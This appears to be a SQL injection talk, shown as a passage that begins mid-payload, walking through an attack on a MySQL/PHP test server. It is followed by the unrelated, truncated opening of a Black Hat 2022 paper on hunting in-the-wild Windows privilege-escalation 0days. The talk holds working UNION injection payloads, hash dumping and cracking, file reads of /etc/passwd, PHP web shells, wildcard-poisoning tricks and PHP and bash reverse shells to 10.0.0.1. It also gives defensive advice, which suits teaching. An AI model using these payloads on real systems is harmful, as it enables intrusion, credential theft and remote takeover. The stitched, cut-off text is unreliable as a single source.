271%27%2C%271%27%2C%271%27%2C%20CONCAT%28%27a%27%2C% 27a%27%29 SELECT * FROM orders WHERE orderNumber =9 UNION SELECT '1','1','1','1', CONCAT('a','b') [orderNumber] => 1 [productCode] => 1 [quantityOrdered] => 1 [priceEach] => 1 [orderLineNumber] => ab Oracle CONCAT Test ./get_curl.sh "1 UNION SELECT null,null,null,null,'b' || 'b' or CONCAT('b','a')" http://127.0.0.1/get.php?id=9%20UNION%20SELECT%20%271%27%2C% 271%27%2C%271%27%2C%271%27%2C%20CONCAT%28%27a%27%2C% 27a%27%29 SELECT * FROM orders WHERE orderNumber =9 UNION SELECT '1','1','1','1', 'b' || 'b' or CONCAT('b','b') [orderNumber] => 1 [productCode] => 1 [quantityOrdered] => 1 [priceEach] => 1 [orderLineNumber] => 0 Fingerprinting Conclusion ● By comparing the results of the concatenation tests the attacker can see the MySQL test passed by returning the concatenated string “ab” and the Oracle test failed by not returning a concatenated string. ● From the version() command they find the results of 5.5.40. Checking via a quick web search on 5.5.40 they see that most of the articles returned are about MySQL. ● So from this evidence the attacker with a higher level of certainty concluded that the database is in fact MySQL. Data Enumeration Now that the attacker has identified the architecture they move on to stealing interesting pieces of data out of the database. Enumeration Our attacker will start the enumeration process by attempting to pull MySQL user's, password hashes, and application database scheme information. They will then attempt to read files off the operating system and use the password hashes to create a password list to use against the application’s login portal. MySQL User Enumeration ./get_curl.sh "0 UNION SELECT host, user, password,null,null FROM mysql. user" URL:http://127.0.0.1/get.php?id=0%20UNION%20SELECT%20host%2C% 20user%2C%20password%2Cnull%2Cnull%20FROM%20mysql.user SELECT * FROM orders where orderNumber =0 UNION SELECT host, user, password,null,null FROM mysql.user Array( [orderNumber] => localhost [productCode] => root [quantityOrdered] => *A294441C38B03BE12E32771ADDF7976B0DDB8164 [priceEach] => [orderLineNumber] => ) MySQL Hostname # get the name of the server. ./get_curl.sh "0 UNION SELECT null,null,null,null, @@hostname"; URL:http://127.0.0.1/get.php?id=0%20UNION%20SELECT%20null%2Cnull% 2Cnull%2Cnull%2C%20%40%40hostname SELECT * FROM orders where orderNumber =0 UNION SELECT null,null,null, null, @@hostname Array( …. [orderLineNumber] => testbox-ubuntu ) MySQL Concat # Use Concat to combine multiple columns ./get_curl.sh "9 UNION SELECT '1','1','1', CONCAT_WS(0x3A, user, password) FROM mysql.user" URL:http://127.0.0.1/get.php?id=9%20UNION%20SELECT%20null%2Cnull% 2Cnull%2Cnull%2C%20CONCAT_WS%280x3A%2C%20user%2C% 20password%29%20FROM%20mysql.user SELECT * FROM orders where orderNumber =9 UNION SELECT null,null,null, null, CONCAT_WS(0x3A, user, password) FROM mysql.user Array( …. [orderLineNumber] => root: *A294441C38B03BE12E32771ADDF7976B0DDB8164 ) MySQL Mac Address From UUID # get the name of the server. ./get_curl.sh "0 UNION SELECT null,null,null,null,uuid()"; URL:http://127.0.0.1/get.php?id=0%20UNION%20SELECT%20null%2Cnull% 2Cnull%2Cnull%2C%20UUID%28%29 SELECT * FROM orders where orderNumber =0 UNION SELECT null,null,null, null, UUID() Array( [orderLineNumber] => a110ad12-4cf1-11e4-9d33-080027b98874 ) root@testbox:/#ifconfig eth0 eth0 Link encap:Ethernet HWaddr 08:00:27:b9:88:74 #the last part of the uid is the mac address of the machine 080027b98874 for mysql servers MySQL Find Database Name # get the name of the server. ./get_curl.sh "0 UNION SELECT null,null,null,null,database()" URL:http://127.0.0.1/get.php?id=0%20UNION%20SELECT%20null%2Cnull% 2Cnull%2Cnull%2Cdatabase%28%29 SELECT * FROM orders where orderNumber =0 UNION SELECT null,null,null, null,database() Array( [orderLineNumber] => orders ) MySQL Find Tables and Columns # get the name of the server. ./get_curl.sh "0 UNION SELECT (@),NULL,NULL,NULL,NULL FROM (SELECT(@:=0x00), (SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CO,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x " SELECT * FROM orders where orderNumber =0 UNION SELECT (@),NULL,NULL,NULL, NULL FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >', table_name,' > ',column_name))))x URL:http://127.0.0.1/get.php?id=0%20UNION%20SELECT%20%28%40%29%2CNULL% 2CNULL%2CNULL%2CNULL%20FROM%20%28SELECT%28%40%3A%3D0x00%29%2C% 28SELECT%20%28%40%29%20FROM%20%28information_schema.columns%29% 20WHERE%20%28table_schema%3E%3D%40%29%20AND%20%28%40%29IN%20%28% 40%3A%3DCONCAT%28%40%2C0x0a%2C%27%20%5B%20%27%2Ctable_schema%2C% 27%20%5D%20%3E%27%2Ctable_name%2C%27%20%3E%20%27%2Ccolumn_name% 29%29%29%29x%20 #Example From http://websec.ca/kb/sql_injection#MySQL_Tables_And_Columns Find Tables and Columns Output #Output From Injection ... [ orders ] >orderdetails > orderNumber [ orders ] >orderdetails > productCode [ orders ] >orderdetails > quantityOrdered [ orders ] >orderdetails > priceEach [ orders ] >orderdetails > orderLineNumber [ orders ] >orders > orderNumber [ orders ] >orders > productCode [ orders ] >orders > quantityOrdered [ orders ] >orders > priceEach [ orders ] >orders > orderLineNumber … Web Application Users # get a list of user from the login table. ./get_curl.sh "0 UNION SELECT null,null,username,password,email from login" URL:http://127.0.0.1/get.php?id=0%20UNION%20SELECT%20null%2Cnull%2Cusername% 2Cpassword%2Cemail%20from%20login … [quantityOrdered] => admin [priceEach] => d0763edaa9d9bd2a9516280e9044d885 [orderLineNumber] => [email protected] … [quantityOrdered] => test [priceEach] => 098f6bcd4621d373cade4e832627b4f6 [orderLineNumber] => [email protected] …. Identifying Hashes Now that the attacker has obtained hashes of the application user’s password they need to identify the hash type so that it can be feed into a password cracker. Password Hash Identification tool ● https://github.com/psypanda/hashID ○ WARNING: hashID uses Python3.x not Python2.x ○ Python 3 setup guide ■ http://toomuchdata.com/2014/02/16/how-to- install-python-on-centos/ Salting & Hashing Passwords Don’t use MD5,SHA1, or SHA256 Use Bcrypt echo password_hash("test", PASSWORD_BCRYPT)."\n"; $2y$10$13N7yCGrv9hyaQbK1OPboOeNflEgoBoi56DSkmY6lYoN5kHugQo6S echo password_hash("test", PASSWORD_BCRYPT)."\n"; $2y$10$T65hDdN3hvlVkadYXrJNC.L9ljHMeJ.6AlBa8dVxvDJ1UnSx16R/u Different Hash generated each time for the same password using different salt. http://www.openwall.com/phpass/ https://github.com/ircmaxell/password_compat http://php.net/manual/en/faq.passwords.php Hash Password Cracking MySQL Password Hashes http://dev.mysql.com/doc/refman/5. 7/en/password-hashing.html Hashcat GPU Cracker http://hashcat.net/oclhashcat/ Algorithms ● MD5 ● SHA1 ● SHA-256 ● SHA-512 ● MySQL and much more John The Ripper Resources http://www.openwall.com/john/ https://www.portcullis-security. com/cracking-mysql-network- authentication-hashes-with-john-the- ripper/ Documentation http://www.openwall.com/john/doc/ Windows - Hashsuite http://hashsuite.openwall.net/ SQL-map --password #more on this later... Rainbow Tables A brute force hash cracker like hashcat generates plaintext and computes the corresponding hashes on the fly, then makes a comparison of the hashes with the hash provided to be cracked. The issue with this is all generated hashes that don’t match are discarded. A time-memory tradeoff hash cracker like rainbowcrack uses pre generated plaintext/hash pairing within a selected hash algorithm, charset and character length. The computed hashes/plaintext pairs results are stored in files called rainbow tables and are used to to make quick comparisons when searching for a specific hash. http://project-rainbowcrack.com/index.htm#download HashCat Example 5f295bce38d311f26a96eb811192f391 :planet d0763edaa9d9bd2a9516280e9044d885 :monkey Online cracker for md5 http://md5cracker.org/ ./oclHashcat64.bin -m 0 md5.txt -a 3 ?a?a?a?a?a? a -o output Session.Name...: oclHashcat Status.........: Running Input.Mode.....: Mask (?a?a?a?a?a?a) [6] Hash.Target....: File (md5.txt) Hash.Type......: MD5 Time.Started...: Tue Jul 14 20:25:45 2015 (2 secs) Time.Estimated.: Tue Jul 14 20:27:12 2015 (1 min, 23 secs) Speed.GPU.#1...: 3808.2 MH/s Speed.GPU.#2...: 2466.4 MH/s Speed.GPU.#3...: 3930.9 MH/s Speed.GPU.#4...: 3836.9 MH/s Speed.GPU.#*...: 14042.3 MH/s Recovered......: 0/3 (0.00%) Digests, 0/1 (0.00%) Progress.......: 21185069056/735091890625 (2.88%) Reading PHP Files from WWW ./get_curl.sh "0 UNION SELECT NULL,NULL,NULL,NULL,LOAD_FILE ('/var/www/html/get.php');" URL:http://127.0.0.1/get.php?id=0%20UNION%20SELECT%20NULL% 2CNULL%2CNULL%2CNULL%2CLOAD_FILE%28%27%2Fvar%2Fwww% 2Fhtml%2Fget.php%27%29%3B SELECT * FROM orders where orderNumber =0 UNION SELECT NULL,NULL, NULL,NULL,LOAD_FILE('/var/www/html/get.php') … // Create connection $con = mysqli_connect("127.0.0.1","root","MyNewPass","orders"); ... Reading Files ./get_curl.sh "0 UNION SELECT NULL,NULL,NULL,NULL,LOAD_FILE ('/etc/passwd');" URL:http://127.0.0.1/get.php?id=0%20UNION%20SELECT%20NULL% 2CNULL%2CNULL%2CNULL%2CLOAD_FILE%28%27%2Fetc%2Fpasswd% 27%29%3B SELECT * FROM orders where orderNumber =0 UNION SELECT NULL,NULL, NULL,NULL,LOAD_FILE('/etc/passwd'); vboxadd:x:999:1::/var/run/vboxadd:/bin/false postfix:x:108:113::/var/spool/postfix:/bin/false mysql:x:109:115:MySQL Server,,,:/nonexistent:/bin/false nemus:x:1002:1002:,,,:/home/nemus:/bin/bash Read File Limitation ./get_curl.sh "0 UNION SELECT NULL,NULL,NULL,NULL,LOAD_FILE ('/etc/shadow');" SELECT * FROM orders where orderNumber =0 UNION SELECT NULL,NULL, NULL,NULL,LOAD_FILE('/etc/shadow’); Array( [orderLineNumber] => ) #returns no results MySQL Readable Files of Interest Files readable from the mysql process. /etc/passwd /etc/resolv.conf /etc/motd /etc/crontab /etc/ssh/sshd_config Ubuntu/Debian /etc/lsb-release /etc/apache2/sites-enabled/000-default.conf Centos/RHEL /etc/redhat-release /etc/httpd/conf/httpd.conf http://wiki.apache.org/httpd/DistrosDefaultLayout http://pwnwiki.io/#!privesc/linux/index.md Gotchas ● So far the attacker has demonstrated how they can retrieve data out of the target, but something seems to be missing. ● The idea of modifying the data in the database using a SELECT injection appears to be a logical next step. Maybe by nesting queries or modifying UNION SELECT to include an INSERT or UPDATE statement. SQL Nesting/Subquery ● Using a union select the attacker can read data out of the database, but cannot insert data into the database. ● Subqueries are when the results of one query is used as parameters of another query. It is possible to nest a select statement inside an insert or update statement, but it's not possible to nest insert or update statements inside a select statement on MySQL 5.4. References http://beginner-sql-tutorial.com/sql-subquery.htm http://dev.mysql.com/doc/refman/5.6/en/subqueries.html Bobby Drop Tables? So what about bobby drop tables from xkcd ? No talk on SQL Injection would be complete without him right? http://xkcd.com/327/ Query Stacking Sorry No Bobby Drop Tables Query Stacking with mysqli_query(). The mysqli_query driver function doesn’t support query stacking. You cannot simply end the first query with a semicolon and start another one,but depending on the driver this is possible on other platforms. ● http://www.sqlinjection.net/stacked-queries/ root@testbox:/# ./get_curl.sh "1; DELETE FROM orders" http://127.0.0.1/get.php?id=1%3B%20%20DELETE%20FROM%20orders SELECT * FROM orders where orderNumber =1; DELETE FROM orders Invalid sql Other PHP function are acceptable to query stacking such as MultiQuery and PDO ● http://se2.php.net/manual/en/mysqli.multi-query.php The attacker might be able to modify data if they can create a stored procedures, but that is beyond the scope of this presentation Addendum 1 It should be noted that the php multi-query function is used for optimizing performance on sql statements. Also, the MySQL PDO driver does support query stacking. So if you are testing a system for SQLi it's worth trying to see if they used PDO incorrectly. Addendum 1 Continued <?PHP // Example query stacking and vulnerable PDO connection $dbh = null; try { $dbh = new PDO("mysql:dbname=orders;host=localhost", "root", "" ); $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); echo "PDO connection object created\n"; } catch(PDOException $e){ echo $e->getMessage(); } //bad query injectable and vulnerable to query stacking $stmt = $dbh->query("SELECT * FROM orders where orderNumber = ".$_GET['id']); print_r($_GET); if(isset($_GET['id'])){ $stmt->execute(); while($row = $stmt->fetch(PDO::FETCH_ASSOC)) { echo print_r($row); } } //close PDO connection $dbh = null; ?> Remote Code Execution With all the details they have about the system and possibly user accounts the attacker moves on to uploading backdoors on to the target system. Web Shells ● Web shells are executable programs or scripts when uploaded to a target server can be executed using a browser. They usually provide a web based interface so that an attacker can execute system commands. ● For the web shell to work the target server must support the programing language used by the shell so for PHP application an attacker will need a PHP web shells. ○ http://www.binarytides.com/web-shells-tutorial/ PHP Web Shells Functions To be able to take control and execute commands or code on the system the attacker will need to craft a webshell that can be uploaded to the web server. Php Command Execution exec Returns last line of commands output passthru Passes commands output directly to the browser system Passes commands output directly to the browser and returns last shell_exec Returns commands output `` (backticks) Same as shell_exec() popen Opens read or write pipe to process of a command proc_open Similar to popen() but greater degree of control pcntl_exec Executes a program More PHP Webshell Functions Used to run code sent to the target server by interpreting strings. ● eval() - Runs PHP code sent via a string to the function. ● assert() - Identical to eval() ● preg_replace('/.*/e',...,....) - /e does an eval() on the match ● create_function() - creates a function from the string ● $_GET['func_name']($_GET['argument']); - Converts string variables to function arguments http://stackoverflow.com/questions/3115559/exploitable-php-functions Addendum 2 These Function can download remote php script and execute them in older version of PHP such as php 5.2 ● include() ● include_once() ● require() ● require_once() http://php.net/manual/en/filesystem.configuration.php New version of php such as 5.2 > require that allow_url_include option be set inside the php.ini file before they can import code remotely. So this “feature” is turned off by default. So if you plan on included code remotely you would need to change the php.ini config then restart the services. Addendum 2 Continued. <?PHP /* remotecode include Whether to allow include/require to open URLs (like http:// or ftp://) as files. http://php.net/allow-url-include allow_url_include = On */ $test = 'http://somesite/bad.txt'; require_once($test); if(isset($_GET[‘test’])){ require_once($_GET[‘test’]); } ?> <?PHP /*BAD.txt */ echo time(); ?> Example Web Shell Simple Shell <?PHP echo system($_GET['cmd']); ?> http://10.254.10.6/uploads/shell.php?cmd=ls Output: 2092.jpg 2105.jpg shell.php - Executes php code <?PHP eval($_GET['cmd']); ?> - Executes php code <?PHP preg_replace('/.*/e',$_POST['code'],”somestring”); ?> More Web shells - From Irongeek ● http://www.irongeek.com/i.php?page=webshells-and-rfis Laudanum- Library of Webshells ● http://sourceforge.net/projects/laudanum/ Addendum 3 <?PHP $string = "phpinfo()"; print preg_replace('/^(.*)/e', 'strrev(\\1)', $string); ?> # curl http://somesite/shell.php More info http://www.madirish.net/402 Output… mysqli MysqlI Support => enabled Client API library version => 5.1.54 Active Persistent Links => 0 ... Remote Code Attacks There exists a multitudes of attacks they can attempt, but for this demonstration our attacker will focus on three. ● First they will try and upload a backdoor PHP script via the MySQL write function. ● Second they will try and upload a backdoor using the applications upload feature. ● Third they will explore a social engineering attack using unix wildcards. Writing Files ./get_curl.sh "0 UNION SELECT NULL,NULL,NULL,NULL, '<?PHP echo system(\"ls\"); ?>' INTO OUTFILE '/tmp/shell.php';"" URL:http://127.0.0.1/get.php?id=0%20UNION%20SELECT%20NULL% 2CNULL%2CNULL%2CNULL%2C%20%27%3C%3F%20system%28%5B% 5C%27c%5C%27%5D%29%3B%20%3F%3E%27%20INTO%20OUTFILE% 20%27%2Ftmp%2Fshell.php%27%3B SELECT * FROM orders where orderNumber =0 UNION SELECT NULL,NULL, NULL,NULL, '<?PHP echo system("ls"); ?>' INTO OUTFILE '/tmp/shell.php'; Possible Write Points To upload a malicious PHP script, the attacker needs a directory with write permission turned on. Temporary directories used by popular Content Management Systems are a good entry point. Sometimes system administrators will chmod 777 a file. If the attacker can find a directory that has global write access in the url path they can overwrite the file using the MySQL write file and possibly execute it by calling the code from a http request. Possible URl Paths ● /var/www/html/templates_compiled/ ● /var/www/html/templates_c/ ● /var/www/html/templates/ ● /var/www/html/temporary/ ● /var/www/html/images/ ● /var/www/html/cache/ ● /var/www/html/temp/ ● /var/www/html/files/ MySQL Writable File Directories root@ubuntu:/# find / -user mysql Directors of interest ○ /var/lib/mysql/ ○ /var/log/mysql/ ○ /run/mysqld/ ○ /tmp Remote Code Execution Remote code execution on LAMP is limited because of the isolation of the MySQL user from the Apache user. The only writeable directory the processes share is /tmp and that directory cannot be accessed via a url on the default setup of Apache. Files created by the MySQL process are not set to be executable and are owned by the user the MySQL process is running as. More detail can be found here. ● http://www.blackhat.com/presentations/bh-usa- 09/DZULFAKAR/BHUSA09-Dzulfakar-MySQLExploit-PAPER.pdf Application Upload Features Using the data found when the attacker stole data from the database they might able to obtain access to a user account. Considering that most applications have a file upload feature the attacker could then use this feature to install a webshell. Most applications will block attempts to upload .php extension files, but they might be able to bypass these filters if they are in place. File Filter Bypass Examples ● https://www.owasp.org/index.php/Unrestricted_File_Upload ● http://www.slideshare.net/mukech/bypass-file-upload-restrictions ● http://pentestlab.wordpress.com/2012/11/29/bypassing-file-upload- restrictions/ Upload PHP Code <form action="upload.php" method="post" enctype="multipart/form-data"> Please choose a file: <input type="file" name="uploadFile"><br> <input type="submit" value="Upload File"> </form> <?PHP if(isset($_FILES['uploadFile']['name'])){ $target_dir = "uploads/"; $target_dir = $target_dir . basename( $_FILES["uploadFile"]["name"]); $uploadOk=1; if (move_uploaded_file ($_FILES["uploadFile"]["tmp_name"], $target_dir)) { echo "The file has been uploaded." ; } else { echo "Sorry, there was an error uploading your file." ; } } Social Engineering Trap If all else fails and the attacker may have write permission on a server they could possible attack the server via social engineering with some careful crafted file names. Wildcard code execution as a trap. ● File names in a wild card expression are interpreted as command variables. ● Create file names a commands so when user executes a wildcard command it runs file names a command options. ● They could fill the disk space on /var/log/mysql path. Which would cause the system administrator to respond and execute commands in that directory. ○ http://www.defensecode. com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt Wild Card Poisoning POC Before we create wildcard name [root@Dib test]# ls file file2 file3 file4 file5 [root@Dib test]# ls -l total 0 -rw-r--r--. 1 root root 0 Oct 6 21:29 file -rw-r--r--. 1 root root 0 Oct 6 21:29 file2 -rw-r--r--. 1 root root 0 Oct 6 21:29 file3 [root@Dib test]# ls * file file2 file3 file4 file5 After we create the called “-l” [root@Dib test]# echo "" >> -l [root@Dib test]# ls file file2 file3 file4 file5 -l [root@Dib test]# ls * -rw-r--r--. 1 root root 0 Oct 6 21:29 file -rw-r--r--. 1 root root 0 Oct 6 21:29 file2 -rw-r--r--. 1 root root 0 Oct 6 21:29 file3 -rw-r--r--. 1 root root 0 Oct 6 21:29 file4 -rw-r--r--. 1 root root 0 Oct 6 21:29 file5 WCP Example 1 Tar [root@wcp_poc]# echo "" > "-- checkpoint-action=exec=sh fix.sh" [root@wcp_poc]# echo "" > -- checkpoint=1 #fix.sh #!/bin/bash chmod 777 -R /var/www/ [root@wcp_poc]# ls --checkpoint- action=exec=sh fix.sh file2 file4 fix. sh --checkpoint=1 file1 file3 file5 stuff # before [root@wcp_poc]# ls -lah /var/www/ total 8.0K drw-rw----. 2 root root 4.0K Oct 7 03: 35 . [root@wcp_poc]# tar cf backup.tar * # after [root@wcp_poc]# ls -lah /var/www/ total 8.0K drwxrwxrwx. 2 root root 4.0K Oct 7 03:35 . From : http://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt WCP Example 2 SCP [root@wcp_poc2]# ls file1 file2 file3 file4 file5 s.sh -o ProxyCommand sh s.sh zzz.txt #before [root@wcp_poc2]# ls -lah /var/www/ total 8.0K drw-rw----. 2 root root 4.0K Oct 7 03: 35 . root@wcp_poc2]# scp * test@192. 168.122.64:~/ #after [root@wcp_poc2]# ls -lah /var/www/ total 8.0K drwxrwxrwx. 2 root root 4.0K Oct 7 03:35 . From : https://dicesoft.net/projects/wildcard-code-execution-exploit.htm Reverse Shell Call Backs Taking advantage of the Wild Card Poisoning the attacker can craft a reverse shell using the Linux server environment. A reverse shell works by having the target system call back to a server controlled by the attacker. By simply leaving a couple of well crafted files named to run remote code the attacker might be able to trick the system admin into giving them a shell. More on backdoors http://www.introtobackdoors.com/ Using a reverse shell the attacker can have the web server connect back to a vps they have access to some where on the internet. a example Net Cat listener to receive shells and ran on the attackers remote server. ● nc -l -p 8080 PHP Reverse Shell Run on target ● php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' OR Bash Reverse Shell. ● bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 Conclusion So through the use of some simple web requests our attacker has gained remote code execution and at this point effectively owns the system. Although the attacker doesn’t have root access they can still gain value out of this compromised box by using it as a pivot point for attacks on other system or as a launch point for malicious code. Attack Recap ● SQL injection leads to data loss. ● Don't create world readable file on a web server. ● Don’t run the MySQL process as root or the www-data user. ● On suspected compromised systems change MySQL users passwords. ● Attackers may have a list of system users by downloading a copy of /etc/passwd. ● Attackers may have access to source code. ● Restrict MySQL user permissions to limit attackers. ● Look for odd file names in MySQL directories and the tmp directory. ● Look in upload directories for pivote code. ATTR_EMULATE_PREPARES Note that when using PDO to connect to a MySQL database real prepared statements are not used by default. To enable them you have to turn of the emulation of prepared statements. Real prepared statements have the database build the query with the parameters instead of building the query with the parameters and then sending it to the database. $dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); More Info can be found here http://stackoverflow.com/questions/134099/are-pdo-prepared-statements- sufficient-to-prevent-sql-injection mysql_real_escape_string() An obscure bug exists in the way php handles the character set used on the database charset. “ The C API call to mysql_real_escape_string() differs from addslashes() in that it knows the connection character set. So it can perform the escaping properly for the character set that the server is expecting. However, up to this point, the client thinks that we're still using latin1 for the connection, because we never told it otherwise. We did tell the server we're using gbk, but the client still thinks it's latin1. Therefore the call to mysql_real_escape_string() inserts the backslash, and we have a free hanging ' character in our "escaped" content! ” - IRCMAXWELL (http://stackoverflow.com/users/338665/ircmaxell) http://stackoverflow.com/questions/5741187/sql-injection-that-gets-around- mysql-real-escape-string/12118602#12118602 Secure Coding Example <?PHP input filter example with prepared statement using PDO. Better example of more secure code $dbh = null; try { //set character set $dbh = new PDO("mysql:dbname=orders;host=localhost;charset=gbk", "selectonlyuser", "pword" ); $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); }catch(PDOException $e){ echo $e->getMessage(); } $stmt = $dbh->prepare("SELECT * FROM orders where orderNumber = :id"); print_r($_GET); if(isset($_GET['id']) && filter_var($_GET['id'], FILTER_VALIDATE_INT) === 1 ){ $stmt->bindParam(':id', $_GET['id'], PDO::PARAM_INT); $stmt->execute(); while($row = $stmt->fetch(PDO::FETCH_ASSOC)) { echo htmlspecialchars(print_r($row)); } }else{ echo "Invalid input"; } $dbh =null; ?> MySQL Users Permissions To help mitigate attacks its important to create a MySQL user for each area of the database and each query type. ● So a user for SELECT ● One for UPDATE ● One for INSERT ● Avoid using DELETE if you can, but if you have to use it create a user that only has delete on the resource its required on. Instead of using DELETE Consider marking data as disabled and just hiding it from the user, unless of course its sensitive data and you’ve informed the user you have purged them from your system. Doing this will make SQLi difficult and isolated. Whats Next Alot of the research into SQL Injection testing and exploitation has been built into sqlmap. “Sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.” - SQLMap.org http://sqlmap.org/ https://github.com/sqlmapproject/sqlmap/wiki/Usage Appendix A SQL Injection Resources ● http://websec.ca/kb/sql_injection ● http://www.blackhat.com/presentations/bh-usa- 09/DZULFAKAR/BHUSA09-Dzulfakar-MySQLExploit- PAPER.pdf ● http://www.thisislegal.com/tutorials/18://www.thisislegal. com/tutorials/18 ● http://www.grayscale-research. org/new/pdfs/SQLInjectionPresentation.pdf Appendix B Privilege Escalation Privilege escalation is the act of exploiting a bug, design flaw or configuration oversight in an operating system or software application to gain elevated access to resources that are normally protected from an application or user. - en.wikipedia.org/wiki/Privilege_escalation How to’s ● http://blog.g0tmi1k.com/2011/08/basic-linux-privilege- escalation/ ● http://www.admin-magazine. com/Articles/Understanding-Privilege-Escalation ● http://pwnwiki.io/#!privesc/linux/index.md Appendix C PHP Secure Coding Filter input using php filter_input and use PHP MySQL PDO driver when possible or a php framework. ● http://www.phpro.org/tutorials/Introduction-to-PHP-PDO.html ● http://php.net/manual/en/security.database.sql-injection.php ● http://www.wikihow.com/Prevent-SQL-Injection-in-PHP Input Validation ● http://php.net/manual/en/function.filter-input.php ● http://www.w3schools.com/php/php_form_validation.asp ● http://www.phpro.org/tutorials/Validating-User-Input.html Appendix D User Defined Functions A more advanced attack against a MySQL database uses MySQL User Defined Function (UDF) to gain shell and root access. SQL Map has a UDF function which requires query stacking. ● http://nsimattstiles.wordpress.com/2014/07/11/gaining-a-root-shell-using- mysql-user-defined-functions-and-setuid-binaries/ ● http://www.iodigitalsec.com/mysql-root-to-system-root-with-udf-for- windows-and-linux/ ● https://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17- muhaimin_dzulfakar-adv_mysql.pdf ● https://github.com/sqlmapproject/sqlmap/blob/master/lib/takeover/udf.py ● http://stackoverflow.com/questions/23707101/using-a-udf-mysql-query- from-php ● http://www.exploit-db.com/exploits/7856/ Appendix E PHP Security Guides ● https://www.owasp.org/index.php/PHP_Security_Cheat_Sheet ● http://phpsec.org/projects/guide/ ● http://www.madirish.net/199 ● https://www.idontplaydarts.com/2011/02/hardening-and-securing-php-on- linux/ ● http://joind.in/talk/view/13949 - Hardening the LAMP stack. ● http://blog.up-link.ro/php-security-tips-securing-php-by-hardening-php- configuration/ ● http://eddmann.com/posts/securing-sessions-in-php/ ● https://www.owasp.org/index.php/PHP_CSRF_Guard ● http://www.cvedetails.com/vulnerability-list/vendor_id-74/product_id- 128/PHP-PHP.html Appendix F Code Review Analysis RIPS is a static source code analyser for vulnerabilities in PHP web applications. ● http://sourceforge.net/projects/rips-scanner/ ● http://pen-testing.sans.org/blog/pen- testing/2012/06/04/tips-for-pen-testers-on- exploiting-the-php-remote-execution- vulnerability Credits Icons From Icon Archive ● http://www.iconarchive.com/ Background from Chip Wires PPT ● http://www.ppt-backgrounds. net/technology/854-chip-wires-ppt- backgrounds
pdf
1 The Journey Of Hunting ITW Windows LPE 0day Quan Jin <twitter: @jq0904> DBAPPSecurity Black Hat USA 2022 Contents The Journey Of Hunting ITW Windows LPE 0day ....................................................................................1 Abstract..........................................................................................................................................................1 Background ..................................................................................................................................................2 Is it possible to catch an itw LPE 0day? ..............................................................................................2 Learn from history (and now) .................................................................................................................3 Why should we learn from history ..............................................................................................3 How we study historical cases ......................................................................................................3 Why should we learn from now ...................................................................................................4 One road leads to Rome .........................................................................................................................4 Choose the right tool .......................................................................................................................4 Build the right rule ............................................................................................................................6 Build a workable system .................................................................................................................7 Test and improve the system ........................................................................................................8 Results ............................................................................................................................................................8 The Story of CVE-2021-1732 .......................................................................................................8 The Story of CVE-2021-33739 .....................................................................................................9 The Story of a “Patched” 1day ................................................................................................... 11 Suggestions and insights ...................................................................................................................... 13 Reference ................................................................................................................................................... 13 Abstract In this paper, we will talk our story of how to hunt itw(in-the-wild) Windows LPE 0day during 2020 and 2021: why we think this is possible, how we study historical cases, how we use learned experience to develop a detection method, and how we improve the method to make it more accurate. By using this method, we successfully caught two itw Windows LPE 0days and an itw Windows LPE 1day. We will also compare the advantages and disadvantages of several hunting methods, and give some insights into the trend of itw Windows LPE 0day in the future. 2 Background As you can see in the picture, from 2017 to 2021, Microsoft disclosed a total of 28 itw Windows LPE 0days, most of them are Windows kernel vulnerabilities. These vulnerabilities are often used by top level groups and could cause great harm. For security vendors, it is very challenging to catch an itw Windows LPE 0day. ITW Windows LPE 0day (2017-2021) Starting in 2020, we began to think about the possibility of catching an itw Windows LPE 0day. Is it possible to catch an itw LPE 0day? In order to answer this question, we should think about other two questions: 1. How to obtain valuable data source? 2. How to develop effective detection methods? For the first question, we have some private datasets. In addition, historical cases show that public platforms such as VirusTotal may have 0days. Therefore, by using private and public datasets, we can solve the first question. For the second question, there are two methods for catching a 0day from millions of samples: dynamic detection or static detection. a) Dynamic detection refers to simulation execution in a sandbox or real environment and picking out a sample through abnormal behavior (such as antivirus and sandbox) b) Static detection refers to matching samples with static signatures (such as YARA) Both methods have advantages and disadvantages. We have tried both methods within our capabilities. Based on the results, we think static detection is more suitable for us, we will detail the process later. Next, I’ll explain why we spend a lot of time studying historical itw Windows LPE 0days. 3 Learn from history (and now) Why should we learn from history There are three reasons: 1. Some exploit techniques are consistent over time 2. Thinking from the attacker's view allows for better defense 3. Historical cases have been carefully studied by the community How we study historical cases In order to learn from history, we’ve studied over 50 CVEs, almost all itw Windows LPE 0days and some 1days that from 2014 to 2021. We carefully counted the discovered vendor, using organization, patch cycle, initial disclosure article, usage scenario, targeted system versions, vulnerability module, vulnerability type, exploit techniques, public analysis blogs, public exploits, the original sample(if have) and other information. Here I would like to focus on a few key points: Usage scenario: a) Whether the sample is used as a standalone component, or as part of a chain b) Whether the exploit was used in a fileless form (such as dll reflection), or was just contained in a drop file These information will directly affect our selection of different detection methods. Targeted system versions: Many Windows LPE samples will check OS version before they are used, and can only trigger or exploit in some appropriate versions. This information is especially useful when making a sandbox or reproduction environment. Vulnerability module: By counting the vulnerability modules of historical samples, we can conclude which component is most targeted, and which attack surface is most favored by attackers during a specific period of time. Vulnerability type: By counting the type of historical vulnerabilities, we can infer which type of vulnerability is the attacker most favored, this information can help us make right reproduction environment (for example, whether need to config Driver Verifier). This information can also tell us the popularity of different vulnerability types. 4 Exploit techniques: I think this is the most important information. We count the exploit techniques for every itw Windows LPE 0day (which we can get the origin file or can find relative descriptions). Based on the statistic, we have obtained some valuable conclusions. For example, “bServerSideWindowProc” method was popular from 2015 to 2016. The method of using “Previous 